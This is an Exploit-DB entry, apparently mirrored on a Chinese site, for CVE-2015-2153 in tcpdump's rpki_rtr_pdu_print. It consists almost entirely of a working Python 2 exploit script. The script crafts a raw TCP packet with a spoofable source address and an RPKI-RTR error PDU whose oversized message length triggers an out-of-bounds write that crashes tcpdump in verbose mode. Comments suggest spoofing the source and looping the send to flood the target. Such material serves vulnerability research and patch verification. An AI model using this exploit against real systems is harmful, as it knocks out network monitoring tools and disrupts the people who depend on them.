TcpDump – rpki_rtr_pdu_print Out-of-Bounds Denial of Service

  • 作者: Luke Arntson
    日期: 2015-07-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37663/
  • # Exploit Title: TcpDump rpki_rtr_pdu_print Out-of-Bounds Denial of Service
    # Date: 7.18.2015
    # Exploit Author: Luke Arntson arntsonl@gmail.com
    # Vendor Homepage: http://www.tcpdump.org/
    # Software Link: http://www.tcpdump.org/
    # Version: 4.6.2, 4.5.1, 4.4.0
    # Tested on: Lubuntu 14.04 64-bit
    # CVE : CVE-2015-2153
     
    # Note: tcpdump must be running in verbose mode for this Denial-of-Service to trigger.
     
    import socket, sys
    from struct import *
     
    def checksum(msg):
    s = 0
    for i in range(0, len(msg), 2):
    w = ord(msg[i]) + (ord(msg[i+1]) << 8 )
    s = s + w
    s = (s>>16) + (s & 0xffff);
    s = s + (s >> 16);
    s = ~s & 0xffff
    return s
    
    if len(sys.argv) != 3:
    print "Usage: ./CVE-2015-2153.py <source-ip> <destination-ip>"
    exit()
    
    # fake the source and destination
    source_ip = sys.argv[1]
    dest_ip = sys.argv[2]
    	
    try:
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
    except socket.error , msg:
    print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
    sys.exit()
     
    packet = ''
    
    # ip header fields
    ip_ihl = 5
    ip_ver = 4
    ip_tos = 0
    ip_tot_len = 0# kernel will fill the correct total length
    ip_id = 54321 #Id of this packet
    ip_frag_off = 0
    ip_ttl = 255
    ip_proto = socket.IPPROTO_TCP
    ip_check = 0# kernel will fill the correct checksum
    ip_saddr = socket.inet_aton ( source_ip ) #Spoof the source ip address if you want to
    ip_daddr = socket.inet_aton ( dest_ip )
     
    ip_ihl_ver = (ip_ver << 4) + ip_ihl
     
    ip_header = pack('!BBHHHBBH4s4s' , ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr)
     
    # tcp header fields
    tcp_source = 255 # source port
    tcp_dest = 323 # destination port
    tcp_seq = 454
    tcp_ack_seq = 0
    tcp_doff = 5#4 bit field, size of tcp header, 5 * 4 = 20 bytes
    #tcp flags
    tcp_fin = 0
    tcp_syn = 1
    tcp_rst = 0
    tcp_psh = 0
    tcp_ack = 0
    tcp_urg = 0
    tcp_window = socket.htons (5840)# maximum allowed window size
    tcp_check = 0
    tcp_urg_ptr = 0
     
    tcp_offset_res = (tcp_doff << 4) + 0
    tcp_flags = tcp_fin + (tcp_syn << 1) + (tcp_rst << 2) + (tcp_psh <<3) + (tcp_ack << 4) + (tcp_urg << 5)
     
    tcp_header = pack('!HHLLBBHHH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags,tcp_window, tcp_check, tcp_urg_ptr)
    
    # CVE-2015-2153 out-of-bounds occurs here, when we send in a bad message length to the error type.
    # The RPKI pdu looks like the following
    # [ pdu version ] [ pdu type ] [ error id ] [ packet length ] [ encapsulated pdu length ] [ message length ] [ message ]
    # by giving message length a long value, we cause the buffer to write into bad memory
    error_pdu = '\x41' # fake version
    error_pdu = error_pdu + '\x0A' # error type
    error_pdu = error_pdu + '\x00\x01' # error number
    error_pdu = error_pdu + '\x00\x00\x00\x08' # must be less than or equal to total packet length
    error_pdu = error_pdu + '\x00\x00\x00\x00' # no encapsulated pdu
    error_pdu = error_pdu + '\x7F\xFF\xFF\xFF' # overwrite out-of-bounds '\0', causing DoS
    error_pdu = error_pdu + 'AAAA' # fake message
    
    user_data = error_pdu
    
    # pseudo header fields
    source_address = socket.inet_aton( source_ip )
    dest_address = socket.inet_aton(dest_ip)
    placeholder = 0
    protocol = socket.IPPROTO_TCP
    tcp_length = len(tcp_header) + len(user_data)
     
    psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);
    psh = psh + tcp_header + user_data;
     
    tcp_check = checksum(psh)
    
    # make the tcp header again and fill the correct checksum - remember checksum is NOT in network byte order
    tcp_header = pack('!HHLLBBH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags,tcp_window) + pack('H' , tcp_check) + pack('!H' , tcp_urg_ptr)
     
    # final full packet - syn packets dont have any data
    packet = ip_header + tcp_header + user_data
     
    #Send the packet finally - the port specified has no effect
    s.sendto(packet, (dest_ip , 0 ))# put this in a loop if you want to flood the target